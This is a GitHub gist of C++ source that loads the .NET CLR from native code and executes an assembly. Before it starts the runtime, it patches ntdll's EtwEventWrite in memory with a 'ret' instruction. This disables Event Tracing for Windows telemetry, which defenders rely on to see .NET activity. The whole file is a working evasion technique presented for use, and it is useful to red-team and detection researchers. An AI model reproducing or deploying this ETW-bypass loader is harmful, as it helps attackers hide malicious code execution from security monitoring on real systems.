Skip to content

Instantly share code, notes, and snippets.

@xpn
Created March 18, 2020 00:32
Show Gist options
  • Save xpn/fabc89c6dc52e038592f3fb9d1374673 to your computer and use it in GitHub Desktop.
Save xpn/fabc89c6dc52e038592f3fb9d1374673 to your computer and use it in GitHub Desktop.
#include <stdio.h>
#include <Windows.h>
#include <MSCorEE.h>
#include <MetaHost.h>
#include <evntprov.h>
int main()
{
ICLRMetaHost* metaHost = NULL;
IEnumUnknown* runtime = NULL;
ICLRRuntimeInfo* runtimeInfo = NULL;
ICLRRuntimeHost* runtimeHost = NULL;
IUnknown* enumRuntime = NULL;
LPWSTR frameworkName = NULL;
DWORD bytes = 2048, result = 0;
HRESULT hr;
DWORD oldProt, oldOldProt;
printf("CLR via native code.... @_xpn_\n\n");
// Get the EventWrite function
void* eventWrite = GetProcAddress(LoadLibraryA("ntdll"), "EtwEventWrite");
// Allow writing to page
VirtualProtect(eventWrite, 4, PAGE_EXECUTE_READWRITE, &oldProt);
// Patch with "ret 14" on x86
memcpy(eventWrite, "\xc2\x14\x00\x00", 4);
// Return memory to original protection
VirtualProtect(eventWrite, 4, oldProt, &oldOldProt);
if (CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)& metaHost) != S_OK) {
printf("[x] Error: CLRCreateInstance(..)\n");
return 2;
}
if (metaHost->EnumerateInstalledRuntimes(&runtime) != S_OK) {
printf("[x] Error: EnumerateInstalledRuntimes(..)\n");
return 2;
}
frameworkName = (LPWSTR)LocalAlloc(LPTR, 2048);
if (frameworkName == NULL) {
printf("[x] Error: malloc could not allocate\n");
return 2;
}
// Enumerate through runtimes and show supported frameworks
while (runtime->Next(1, &enumRuntime, 0) == S_OK) {
if (enumRuntime->QueryInterface<ICLRRuntimeInfo>(&runtimeInfo) == S_OK) {
if (runtimeInfo != NULL) {
runtimeInfo->GetVersionString(frameworkName, &bytes);
wprintf(L"[*] Supported Framework: %s\n", frameworkName);
}
}
}
result = runtimeInfo->SetDefaultStartupFlags(1, NULL);
// For demo, we just use the last supported runtime
if (runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)& runtimeHost) != S_OK) {
printf("[x] ..GetInterface(CLSID_CLRRuntimeHost...) failed\n");
return 2;
}
if (runtimeHost == NULL || bytes == 0) {
wprintf(L"[*] Using runtime: %s\n", frameworkName);
}
// Start runtime, and load our assembly
runtimeHost->Start();
printf("[*] ======= Calling .NET Code =======\n\n");
if (runtimeHost->ExecuteInDefaultAppDomain(
L"test.dll",
L"test.Program",
L"test",
L"argtest",
&result
) != S_OK) {
printf("[x] Error: ExecuteInDefaultAppDomain(..) failed\n");
return 2;
}
printf("[*] ======= Done =======\n");
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment